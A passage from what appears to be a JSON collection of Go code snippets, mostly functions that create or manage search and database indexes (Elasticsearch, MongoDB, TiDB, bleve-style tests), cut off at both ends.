NewDateRangeQuery(&startDate, nil).SetField(\\\"birthday\\\")\\n\\tsearchRequest = NewSearchRequest(dateRangeQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(2) {\\n\\t\\tt.Errorf(\\\"expected 2 total hits for numeric range query, got %d\\\", searchResult.Total)\\n\\t} else {\\n\\t\\tif searchResult.Hits[0].ID != \\\"d\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected top hit id 'd', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t}\\n\\t\\tif searchResult.Hits[1].ID != \\\"c\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected next hit id 'c', got '%s'\\\", searchResult.Hits[1].ID)\\n\\t\\t}\\n\\t}\\n\\n\\t// test that 0 time doesn't get indexed\\n\\tendDate = \\\"2010-01-01\\\"\\n\\tdateRangeQuery = NewDateRangeQuery(nil, &endDate).SetField(\\\"birthday\\\")\\n\\tsearchRequest = NewSearchRequest(dateRangeQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(1) {\\n\\t\\tt.Errorf(\\\"expected 1 total hit for numeric range query, got %d\\\", searchResult.Total)\\n\\t} else {\\n\\t\\tif searchResult.Hits[0].ID != \\\"b\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected top hit id 'b', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t}\\n\\t}\\n\\n\\t// test behavior of arrays\\n\\t// make sure we can successfully find by all elements in array\\n\\ttermQuery = NewTermQuery(\\\"gopher\\\").SetField(\\\"tags\\\")\\n\\tsearchRequest = NewSearchRequest(termQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t} else {\\n\\t\\tif searchResult.Total != uint64(1) {\\n\\t\\t\\tt.Errorf(\\\"expected 1 total hit for term query, got %d\\\", searchResult.Total)\\n\\t\\t} else {\\n\\t\\t\\tif searchResult.Hits[0].ID != \\\"a\\\" {\\n\\t\\t\\t\\tt.Errorf(\\\"expected top hit id 'a', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\ttermQuery = NewTermQuery(\\\"belieber\\\").SetField(\\\"tags\\\")\\n\\tsearchRequest = NewSearchRequest(termQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t} else {\\n\\t\\tif searchResult.Total != uint64(1) {\\n\\t\\t\\tt.Errorf(\\\"expected 1 total hit for term query, got %d\\\", searchResult.Total)\\n\\t\\t} else {\\n\\t\\t\\tif searchResult.Hits[0].ID != \\\"a\\\" {\\n\\t\\t\\t\\tt.Errorf(\\\"expected top hit id 'a', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\ttermQuery = NewTermQuery(\\\"notintagsarray\\\").SetField(\\\"tags\\\")\\n\\tsearchRequest = NewSearchRequest(termQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(0) {\\n\\t\\tt.Errorf(\\\"expected 0 total hits\\\")\\n\\t}\\n\\n\\t// lookup document a\\n\\t// expect to find 2 values for field \\\"tags\\\"\\n\\ttagsCount := 0\\n\\tdoc, err := index.Document(\\\"a\\\")\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t} else {\\n\\t\\tfor _, f := range doc.Fields {\\n\\t\\t\\tif f.Name() == \\\"tags\\\" {\\n\\t\\t\\t\\ttagsCount++\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tif tagsCount != 2 {\\n\\t\\tt.Errorf(\\\"expected to find 2 values for tags\\\")\\n\\t}\\n}\",\n \"func createIndexerNode(cinfo *common.ClusterInfoCache, nid common.NodeId) (*IndexerNode, error) {\\n\\n\\thost, err := getIndexerHost(cinfo, nid)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tsizing := newMOISizingMethod()\\n\\treturn newIndexerNode(host, sizing), nil\\n}\",\n \"func NewMsgCreateIndex(owner sdk.AccAddress, tableName string, field string) MsgCreateIndex {\\n return MsgCreateIndex {\\n Owner: owner,\\n TableName: tableName,\\n Field: field,\\n }\\n}\",\n \"func MakeIndex() error {\\n\\n\\treturn nil\\n}\",\n \"func New(pg *pg.DB, index Index) *Model {\\n\\tInitTokenize()\\n\\treturn &Model{\\n\\t\\tPG: pg,\\n\\t\\tIndex: index,\\n\\t\\tFiles: make(map[string]int),\\n\\t\\tWords: make(map[string]int),\\n\\t}\\n}\",\n \"func (s *Session) createTarget(header *ws.Header, frame io.Reader) (Target, error) {\\n\\tvar opBytes [indexBytesSize]byte\\n\\tif _, err := io.ReadFull(frame, opBytes[:]); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tws.Cipher(opBytes[:], header.Mask, 0)\\n\\theader.Mask = shiftCipher(header.Mask, indexBytesSize)\\n\\theader.Length -= indexBytesSize\\n\\tindex := int(binary.BigEndian.Uint16(opBytes[:]))\\n\\n\\tif index == controlIndex {\\n\\t\\treturn NewRPCTarget(s.readCopyBuffer, s), nil\\n\\t}\\n\\n\\tcnx := s.GetConnection(index)\\n\\tif cnx == nil {\\n\\t\\treturn nil, UnknownConnection\\n\\t}\\n\\n\\treturn &ConnectionTarget{cnx}, nil\\n}\",\n \"func New(col *parser.Collection) *Indexer {\\n\\tindex := make(map[int]map[int]float64)\\n\\tidfDict := make(map[int]float64)\\n\\tvocDict := make(map[string]int)\\n\\tdocDict := make(map[int]*parser.Document)\\n\\tdocNormDict := make(map[int]float64)\\n\\treturn &Indexer{col, index, vocDict, idfDict, docDict, docNormDict}\\n}\",\n \"func New(dataset []float64) *LearnedIndex {\\n\\n\\tst := search.NewSortedTable(dataset)\\n\\t// store.Flush(st)\\n\\n\\tx, y := linear.Cdf(st.Keys)\\n\\tlen_ := len(dataset)\\n\\tm := linear.Fit(x, y)\\n\\tguesses := make([]int, len_)\\n\\tscaledY := make([]int, len_)\\n\\tmaxErr, minErr := 0, 0\\n\\tfor i, k := range x {\\n\\t\\tguesses[i] = scale(m.Predict(k), len_)\\n\\t\\tscaledY[i] = scale(y[i], len_)\\n\\t\\tresidual := residual(guesses[i], scaledY[i])\\n\\t\\tif residual > maxErr {\\n\\t\\t\\tmaxErr = residual\\n\\t\\t} else if residual < minErr {\\n\\t\\t\\tminErr = residual\\n\\t\\t}\\n\\t}\\n\\treturn &LearnedIndex{M: m, Len: len_, ST: st, MinErrBound: minErr, MaxErrBound: maxErr}\\n}\",\n \"func (r *Results) Create(item *TestDocument) error {\\n\\tpayload, err := json.Marshal(item)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tctx := context.Background()\\n\\tres, err := esapi.IndexRequest{\\n\\t\\tIndex: r.indexName,\\n\\t\\tBody: bytes.NewReader(payload),\\n\\t}.Do(ctx, r.es)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer res.Body.Close()\\n\\n\\tif res.IsError() {\\n\\t\\tvar e map[string]interface{}\\n\\t\\tif err := json.NewDecoder(res.Body).Decode(&e); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"[%s] %s: %s\\\", res.Status(), e[\\\"error\\\"].(map[string]interface{})[\\\"type\\\"], e[\\\"error\\\"].(map[string]interface{})[\\\"reason\\\"])\\n\\t}\\n\\treturn nil\\n}\",\n \"func NewIndexer(\\n\\tprojectRoot string,\\n\\trepositoryRoot string,\\n\\tmoduleName string,\\n\\tmoduleVersion string,\\n\\tdependencies map[string]string,\\n\\taddContents bool,\\n\\ttoolInfo protocol.ToolInfo,\\n\\tw io.Writer,\\n) Indexer {\\n\\treturn &indexer{\\n\\t\\tprojectRoot: projectRoot,\\n\\t\\trepositoryRoot: repositoryRoot,\\n\\t\\tmoduleName: moduleName,\\n\\t\\tmoduleVersion: moduleVersion,\\n\\t\\tdependencies: dependencies,\\n\\t\\ttoolInfo: toolInfo,\\n\\t\\tw: protocol.NewWriter(w, addContents),\\n\\n\\t\\t// Empty maps\\n\\t\\tdefsIndexed: map[string]bool{},\\n\\t\\tusesIndexed: map[string]bool{},\\n\\t\\tranges: map[string]map[int]string{},\\n\\t\\thoverResultCache: map[string]string{},\\n\\t\\tfiles: map[string]*fileInfo{},\\n\\t\\timports: map[token.Pos]*defInfo{},\\n\\t\\tfuncs: map[string]*defInfo{},\\n\\t\\tconsts: map[token.Pos]*defInfo{},\\n\\t\\tvars: map[token.Pos]*defInfo{},\\n\\t\\ttypes: map[string]*defInfo{},\\n\\t\\tlabels: map[token.Pos]*defInfo{},\\n\\t\\trefs: map[string]*refResultInfo{},\\n\\t\\tpackageInformationIDs: map[string]string{},\\n\\t}\\n}\",\n \"func NewIndex(unique bool, columns []Column) *Index {\\n\\treturn &Index{\\n\\t\\tbtree: btree.NewBTreeG[Doc](func(a, b Doc) bool {\\n\\t\\t\\treturn Order(a, b, columns, !unique) < 0\\n\\t\\t}),\\n\\t}\\n}\",\n \"func CreateNewIndex(url string, alias string) (string, error) {\\n\\t// create our day-specific name\\n\\tphysicalIndex := fmt.Sprintf(\\\"%s_%s\\\", alias, time.Now().Format(\\\"2006_01_02\\\"))\\n\\tidx := 0\\n\\n\\t// check if it exists\\n\\tfor true {\\n\\t\\tresp, err := http.Get(fmt.Sprintf(\\\"%s/%s\\\", url, physicalIndex))\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t\\t// not found, great, move on\\n\\t\\tif resp.StatusCode == http.StatusNotFound {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\t// was found, increase our index and try again\\n\\t\\tidx++\\n\\t\\tphysicalIndex = fmt.Sprintf(\\\"%s_%s_%d\\\", alias, time.Now().Format(\\\"2006_01_02\\\"), idx)\\n\\t}\\n\\n\\t// initialize our index\\n\\tcreateURL := fmt.Sprintf(\\\"%s/%s\\\", url, physicalIndex)\\n\\t_, err := MakeJSONRequest(http.MethodPut, createURL, indexSettings, nil)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// all went well, return our physical index name\\n\\tlog.WithField(\\\"index\\\", physicalIndex).Info(\\\"created index\\\")\\n\\treturn physicalIndex, nil\\n}\",\n \"func CreateIndexer(root string, nbuckets, seqLen int) (*Indexer, error) {\\n\\tcfg, err := NewConfig(root, nbuckets, seqLen)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn IndexerFromConfig(cfg)\\n}\",\n \"func CreateIndexIfNotExists(e *elastic.Client, index string) error {\\n\\t// Use the IndexExists service to check if a specified index exists.\\n\\texists, err := e.IndexExists(index).Do(context.Background())\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"elastic: unable to check if Index exists - %s\\\\n\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\n\\tif exists {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// Create a new index.\\n\\tv := reflect.TypeOf(Point{})\\n\\n\\tmapping := MapStr{\\n\\t\\t\\\"settings\\\": MapStr{\\n\\t\\t\\t\\\"number_of_shards\\\": 1,\\n\\t\\t\\t\\\"number_of_replicas\\\": 1,\\n\\t\\t},\\n\\t\\t\\\"mappings\\\": MapStr{\\n\\t\\t\\t\\\"doc\\\": MapStr{\\n\\t\\t\\t\\t\\\"properties\\\": MapStr{},\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n\\tfor i := 0; i < v.NumField(); i++ {\\n\\t\\tfield := v.Field(i)\\n\\t\\ttag := field.Tag.Get(\\\"elastic\\\")\\n\\t\\tif len(tag) == 0 {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\ttagfields := strings.Split(tag, \\\",\\\")\\n\\t\\tmapping[\\\"mappings\\\"].(MapStr)[\\\"doc\\\"].(MapStr)[\\\"properties\\\"].(MapStr)[field.Name] = MapStr{}\\n\\t\\tfor _, tagfield := range tagfields {\\n\\t\\t\\ttagfieldValues := strings.Split(tagfield, \\\":\\\")\\n\\t\\t\\tmapping[\\\"mappings\\\"].(MapStr)[\\\"doc\\\"].(MapStr)[\\\"properties\\\"].(MapStr)[field.Name].(MapStr)[tagfieldValues[0]] = tagfieldValues[1]\\n\\t\\t}\\n\\t}\\n\\tmappingJSON, err := json.Marshal(mapping)\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"elastic: error on json marshal - %s\\\\n\\\", err)\\n\\t\\treturn err\\n\\t}\\n\\n\\t_, err = e.CreateIndex(index).BodyString(string(mappingJSON)).Do(context.Background())\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"elastic: error creating elastic index %s - %s\\\\n\\\", index, err)\\n\\t\\treturn err\\n\\t}\\n\\tlog.Printf(\\\"elastic: index %s created\\\\n\\\", index)\\n\\treturn nil\\n}\",\n \"func NewCorpus(basis []string) *Corpus {\\n\\tw := make(map[string]bool)\\n\\tfor _, v := range basis {\\n\\t\\tif _, ok := w[v]; !ok {\\n\\t\\t\\tw[v] = true\\n\\t\\t}\\n\\t}\\n\\treturn &Corpus{\\n\\t\\tSize: len(w),\\n\\t\\twords: w,\\n\\t}\\n}\",\n \"func NewIndexed(filepath string) (*ListFile, error) {\\n\\tfile, err := os.OpenFile(filepath, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0644)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error while OpenFile: %s\\\", err)\\n\\t}\\n\\n\\tlf := &ListFile{\\n\\t\\tfile: file,\\n\\t\\tmu: &sync.RWMutex{},\\n\\t\\t// Main index for the lines of the file:\\n\\t\\tmainIndex: hashsearch.New(),\\n\\t\\t// Allow to create custom indexes:\\n\\t\\tsecondaryIndexes: make(map[string]*Index),\\n\\t}\\n\\n\\terr = lf.loadExistingToMainIndex()\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error while loadExistingToMainIndex: %s\\\", err)\\n\\t}\\n\\n\\treturn lf, nil\\n}\",\n \"func NewIndex(texts []string, name string) *Index {\\n\\treturn &Index{texts: texts, name: name}\\n}\",\n \"func New(data []byte) *Index\",\n \"func makeIndexBuilder(c Configuration) IndexBuilder {\\n\\tif c.BuildIndexStrategy == \\\"Concurrent\\\" {\\n\\t\\treturn BuildIndexConcurrent{}\\n\\t}\\n\\tif c.BuildIndexStrategy == \\\"Iterative\\\" {\\n\\t\\treturn BuildIndexWithWalk{}\\n\\t}\\n\\tfmt.Println(os.Stderr, \\\"Invalid configuration value for GOCATE_BUILD_INDEX_STRATEGY. Please set it to Concurrent or Iterative. Choosing Default.\\\")\\n\\treturn BuildIndexConcurrent{}\\n}\",\n \"func (db *Database) createTimestampIndex() {\\n\\tindexView := db.database.Collection(TRACKS.String()).Indexes()\\n\\n\\tindexModel := mongo.IndexModel{\\n\\t\\tKeys: bson.NewDocument(bson.EC.Int32(\\\"ts\\\", -1))}\\n\\n\\t_, err := indexView.CreateOne(context.Background(), indexModel, nil)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n}\",\n \"func New(ds datastore.TxnDatastore, api *apistruct.FullNodeStruct) (*Index, error) {\\n\\tcs := chainsync.New(api)\\n\\tstore, err := chainstore.New(txndstr.Wrap(ds, \\\"chainstore\\\"), cs)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tinitMetrics()\\n\\tctx, cancel := context.WithCancel(context.Background())\\n\\ts := &Index{\\n\\t\\tapi: api,\\n\\t\\tstore: store,\\n\\t\\tsignaler: signaler.New(),\\n\\t\\tindex: IndexSnapshot{\\n\\t\\t\\tMiners: make(map[string]Slashes),\\n\\t\\t},\\n\\t\\tctx: ctx,\\n\\t\\tcancel: cancel,\\n\\t\\tfinished: make(chan struct{}),\\n\\t}\\n\\tif err := s.loadFromDS(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tgo s.start()\\n\\treturn s, nil\\n}\",\n \"func NewTarget() Target {\\n\\treturn Target{Alias: \\\"$tag_host $tag_name\\\", DsType: \\\"influxdb\\\"}\\n}\",\n \"func buildRuleToGenerateIndex(ctx android.ModuleContext, desc string, classesJars android.Paths, indexCSV android.WritablePath) {\\n\\trule := android.NewRuleBuilder(pctx, ctx)\\n\\trule.Command().\\n\\t\\tBuiltTool(\\\"merge_csv\\\").\\n\\t\\tFlag(\\\"--zip_input\\\").\\n\\t\\tFlag(\\\"--key_field signature\\\").\\n\\t\\tFlagWithOutput(\\\"--output=\\\", indexCSV).\\n\\t\\tInputs(classesJars)\\n\\trule.Build(desc, desc)\\n}\",\n \"func createNumericalIndexIfNotExists(ctx context.Context, iv mongo.IndexView, model mongo.IndexModel) error {\\n\\tc, err := iv.List(ctx)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer func() {\\n\\t\\t_ = c.Close(ctx)\\n\\t}()\\n\\n\\tmodelKeysBytes, err := bson.Marshal(model.Keys)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tmodelKeysDoc := bsoncore.Document(modelKeysBytes)\\n\\n\\tfor c.Next(ctx) {\\n\\t\\tkeyElem, err := c.Current.LookupErr(\\\"key\\\")\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t\\tkeyElemDoc := keyElem.Document()\\n\\n\\t\\tfound, err := numericalIndexDocsEqual(modelKeysDoc, bsoncore.Document(keyElemDoc))\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tif found {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\n\\t_, err = iv.CreateOne(ctx, model)\\n\\treturn err\\n}\",\n \"func BuildIndexInfo(\\n\\tctx sessionctx.Context,\\n\\tallTableColumns []*model.ColumnInfo,\\n\\tindexName model.CIStr,\\n\\tisPrimary bool,\\n\\tisUnique bool,\\n\\tisGlobal bool,\\n\\tindexPartSpecifications []*ast.IndexPartSpecification,\\n\\tindexOption *ast.IndexOption,\\n\\tstate model.SchemaState,\\n) (*model.IndexInfo, error) {\\n\\tif err := checkTooLongIndex(indexName); err != nil {\\n\\t\\treturn nil, errors.Trace(err)\\n\\t}\\n\\n\\tidxColumns, mvIndex, err := buildIndexColumns(ctx, allTableColumns, indexPartSpecifications)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Trace(err)\\n\\t}\\n\\n\\t// Create index info.\\n\\tidxInfo := &model.IndexInfo{\\n\\t\\tName: indexName,\\n\\t\\tColumns: idxColumns,\\n\\t\\tState: state,\\n\\t\\tPrimary: isPrimary,\\n\\t\\tUnique: isUnique,\\n\\t\\tGlobal: isGlobal,\\n\\t\\tMVIndex: mvIndex,\\n\\t}\\n\\n\\tif indexOption != nil {\\n\\t\\tidxInfo.Comment = indexOption.Comment\\n\\t\\tif indexOption.Visibility == ast.IndexVisibilityInvisible {\\n\\t\\t\\tidxInfo.Invisible = true\\n\\t\\t}\\n\\t\\tif indexOption.Tp == model.IndexTypeInvalid {\\n\\t\\t\\t// Use btree as default index type.\\n\\t\\t\\tidxInfo.Tp = model.IndexTypeBtree\\n\\t\\t} else {\\n\\t\\t\\tidxInfo.Tp = indexOption.Tp\\n\\t\\t}\\n\\t} else {\\n\\t\\t// Use btree as default index type.\\n\\t\\tidxInfo.Tp = model.IndexTypeBtree\\n\\t}\\n\\n\\treturn idxInfo, nil\\n}\",\n \"func (api *ElasticAPI) CreateSearchIndex(ctx context.Context, instanceID, dimension string) (int, error) {\\n\\t*api.NumberOfCalls++\\n\\n\\tif api.InternalServerError {\\n\\t\\treturn 0, errorInternalServer\\n\\t}\\n\\n\\treturn 201, nil\\n}\",\n \"func (impl *Impl) ExtractIndexableWords() []string {\\n\\tw := make([]string, 0, 20)\\n\\tw = append(w, fmt.Sprintf(\\\"%d\\\", impl.Id))\\n\\tw = append(w, strings.ToLower(impl.LanguageName))\\n\\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\\n\\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\\n\\tif len(impl.AuthorComment) >= 3 {\\n\\t\\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\\n\\t}\\n\\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\\n\\t\\tw = append(w, langExtras...)\\n\\t}\\n\\t// Note: we don't index external URLs.\\n\\treturn w\\n}\",\n \"func NewIndex(docID, word string, count int64) *Index {\\n\\tindex := new(Index)\\n\\tindex.IndexID = uuid.NewV4().String()\\n\\tindex.DocID = docID\\n\\tindex.Word = word\\n\\tindex.Count = count\\n\\n\\treturn index\\n}\",\n \"func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\\n\\tif d, exists := s.documents[uri]; exists {\\n\\t\\tpanic(fmt.Errorf(\\\"Attempting to create a document that already exists. %+v\\\", d))\\n\\t}\\n\\td := &Document{}\\n\\td.uri = uri\\n\\td.path, _ = URItoPath(uri)\\n\\td.language = language\\n\\td.version = version\\n\\td.server = s\\n\\td.body = body\\n\\ts.documents[uri] = d\\n\\treturn d\\n}\",\n \"func CreatePackageIndexer() *PackageIndexer {\\n\\treturn &PackageIndexer{\\n\\t\\tpacks: map[string]*Package{},\\n\\t\\tmutex: &sync.Mutex{},\\n\\t}\\n}\",\n \"func createIndex(name string, paths []interface{}, wildcards []string) {\\r\\n\\tf, err := os.Create(name)\\r\\n\\tcheck(err)\\r\\n\\tdefer f.Close()\\r\\n\\tw := bufio.NewWriter(f)\\r\\n\\tindexContents := []string{}\\r\\n\\tfor _, path := range paths {\\r\\n\\t\\tp := path.(string)\\r\\n\\t\\tfilepath.Walk(p, walker(&indexContents, wildcards))\\r\\n\\t}\\r\\n\\tfor i := range indexContents {\\r\\n\\t\\ts := fmt.Sprintln(indexContents[i])\\r\\n\\t\\tbc, err := w.WriteString(s)\\r\\n\\t\\tcheck(err)\\r\\n\\t\\tif bc < len(s) {\\r\\n\\t\\t\\tpanic(fmt.Sprintf(\\\"Couldn't write to %s\\\", name))\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\tw.Flush()\\r\\n\\treturn\\r\\n}\",\n \"func (ec *ElasticClient) Create(indexname string, indextype string, jsondata interface{}) (string, error) {\\n\\tctx := ec.ctx\\n\\tid := genHashedID(jsondata)\\n\\n\\tdebuges(\\\"Debug:Printing body %s\\\\n\\\", jsondata)\\n\\tresult, err := ec.client.Index().\\n\\t\\tIndex(string(indexname)).\\n\\t\\tType(string(indextype)).\\n\\t\\tId(id).\\n\\t\\tBodyJson(jsondata).\\n\\t\\tDo(ctx)\\n\\tif err != nil {\\n\\t\\t// Handle error\\n\\t\\tdebuges(\\\"Create document Error %#v\\\", err)\\n\\t\\treturn id, err\\n\\t}\\n\\tdebuges(\\\"Debug:Indexed %s to index %s, type %s\\\\n\\\", result.Id, result.Index, result.Type)\\n\\t// Flush to make sure the documents got written.\\n\\t// Flush asks Elasticsearch to free memory from the index and\\n\\t// flush data to disk.\\n\\t_, err = ec.client.Flush().Index(string(indexname)).Do(ctx)\\n\\treturn id, err\\n\\n}\",\n \"func (iv IndexView) CreateMany(ctx context.Context, models []IndexModel, opts ...*options.CreateIndexesOptions) ([]string, error) {\\n\\tnames := make([]string, 0, len(models))\\n\\n\\tvar indexes bsoncore.Document\\n\\taidx, indexes := bsoncore.AppendArrayStart(indexes)\\n\\n\\tfor i, model := range models {\\n\\t\\tif model.Keys == nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"index model keys cannot be nil\\\")\\n\\t\\t}\\n\\n\\t\\tif isUnorderedMap(model.Keys) {\\n\\t\\t\\treturn nil, ErrMapForOrderedArgument{\\\"keys\\\"}\\n\\t\\t}\\n\\n\\t\\tkeys, err := marshal(model.Keys, iv.coll.bsonOpts, iv.coll.registry)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tname, err := getOrGenerateIndexName(keys, model)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tnames = append(names, name)\\n\\n\\t\\tvar iidx int32\\n\\t\\tiidx, indexes = bsoncore.AppendDocumentElementStart(indexes, strconv.Itoa(i))\\n\\t\\tindexes = bsoncore.AppendDocumentElement(indexes, \\\"key\\\", keys)\\n\\n\\t\\tif model.Options == nil {\\n\\t\\t\\tmodel.Options = options.Index()\\n\\t\\t}\\n\\t\\tmodel.Options.SetName(name)\\n\\n\\t\\toptsDoc, err := iv.createOptionsDoc(model.Options)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tindexes = bsoncore.AppendDocument(indexes, optsDoc)\\n\\n\\t\\tindexes, err = bsoncore.AppendDocumentEnd(indexes, iidx)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\tindexes, err := bsoncore.AppendArrayEnd(indexes, aidx)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tsess := sessionFromContext(ctx)\\n\\n\\tif sess == nil && iv.coll.client.sessionPool != nil {\\n\\t\\tsess = session.NewImplicitClientSession(iv.coll.client.sessionPool, iv.coll.client.id)\\n\\t\\tdefer sess.EndSession()\\n\\t}\\n\\n\\terr = iv.coll.client.validSession(sess)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\twc := iv.coll.writeConcern\\n\\tif sess.TransactionRunning() {\\n\\t\\twc = nil\\n\\t}\\n\\tif !writeconcern.AckWrite(wc) {\\n\\t\\tsess = nil\\n\\t}\\n\\n\\tselector := makePinnedSelector(sess, iv.coll.writeSelector)\\n\\n\\toption := options.MergeCreateIndexesOptions(opts...)\\n\\n\\top := operation.NewCreateIndexes(indexes).\\n\\t\\tSession(sess).WriteConcern(wc).ClusterClock(iv.coll.client.clock).\\n\\t\\tDatabase(iv.coll.db.name).Collection(iv.coll.name).CommandMonitor(iv.coll.client.monitor).\\n\\t\\tDeployment(iv.coll.client.deployment).ServerSelector(selector).ServerAPI(iv.coll.client.serverAPI).\\n\\t\\tTimeout(iv.coll.client.timeout).MaxTime(option.MaxTime)\\n\\tif option.CommitQuorum != nil {\\n\\t\\tcommitQuorum, err := marshalValue(option.CommitQuorum, iv.coll.bsonOpts, iv.coll.registry)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\top.CommitQuorum(commitQuorum)\\n\\t}\\n\\n\\terr = op.Execute(ctx)\\n\\tif err != nil {\\n\\t\\t_, err = processWriteError(err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn names, nil\\n}\",\n \"func SaveIndex(target string, source QueryList, verbose bool) {\\n\\tlogm(\\\"INFO\\\", fmt.Sprintf(\\\"saving index to %s...\\\", target), verbose)\\n\\tfile, err := os.Create(target)\\n\\tcheckResult(err)\\n\\tdefer file.Close()\\n\\n\\tgr := gzip.NewWriter(file)\\n\\tdefer gr.Close()\\n\\n\\tencoder := gob.NewEncoder(gr)\\n\\n\\terr = encoder.Encode(source.Names)\\n\\tcheckResult(err)\\n\\tlogm(\\\"INFO\\\", fmt.Sprintf(\\\"%v sequence names saved\\\", len(source.Names)), verbose)\\n\\n\\terr = encoder.Encode(source.SeedSize)\\n\\tcheckResult(err)\\n\\n\\terr = encoder.Encode(source.Cgst)\\n\\tcheckResult(err)\\n\\n\\t// save the index, but go has a size limit\\n\\tindexSize := len(source.Index)\\n\\terr = encoder.Encode(indexSize)\\n\\tcheckResult(err)\\n\\tlogm(\\\"INFO\\\", fmt.Sprintf(\\\"%v queries to save...\\\", indexSize), verbose)\\n\\n\\tcount := 0\\n\\tfor key, value := range source.Index {\\n\\t\\terr = encoder.Encode(key)\\n\\t\\tcheckResult(err)\\n\\t\\terr = encoder.Encode(value)\\n\\t\\tcheckResult(err)\\n\\t\\tcount++\\n\\t\\tif count%10000 == 0 {\\n\\t\\t\\tlogm(\\\"INFO\\\", fmt.Sprintf(\\\"processing: saved %v items\\\", count), false)\\n\\t\\t}\\n\\t}\\n\\n\\tlogm(\\\"INFO\\\", fmt.Sprintf(\\\"saving index to %s: done\\\", target), verbose)\\n}\",\n \"func (db *MongoDbBridge) createIndexIfNotExists(col *mongo.Collection, view *mongo.IndexView, ix mongo.IndexModel, known []*mongo.IndexSpecification) error {\\n\\t// throw if index is not explicitly named\\n\\tif ix.Options.Name == nil {\\n\\t\\treturn fmt.Errorf(\\\"index name not defined on %s\\\", col.Name())\\n\\t}\\n\\n\\t// do we know the index?\\n\\tfor _, spec := range known {\\n\\t\\tif spec.Name == *ix.Options.Name {\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t}\\n\\n\\tcreatedName, err := view.CreateOne(context.Background(), ix)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to create index %s on %s\\\", *ix.Options.Name, col.Name())\\n\\t}\\n\\tdb.log.Noticef(\\\"created index %s on %s\\\", createdName, col.Name())\\n\\treturn nil\\n}\",\n \"func TestEnsureFullTextIndex(t *testing.T) {\\n\\tc := createClient(t, nil)\\n\\tdb := ensureDatabase(nil, c, \\\"index_test\\\", nil, t)\\n\\n\\ttestOptions := []*driver.EnsureFullTextIndexOptions{\\n\\t\\tnil,\\n\\t\\t{MinLength: 2},\\n\\t\\t{MinLength: 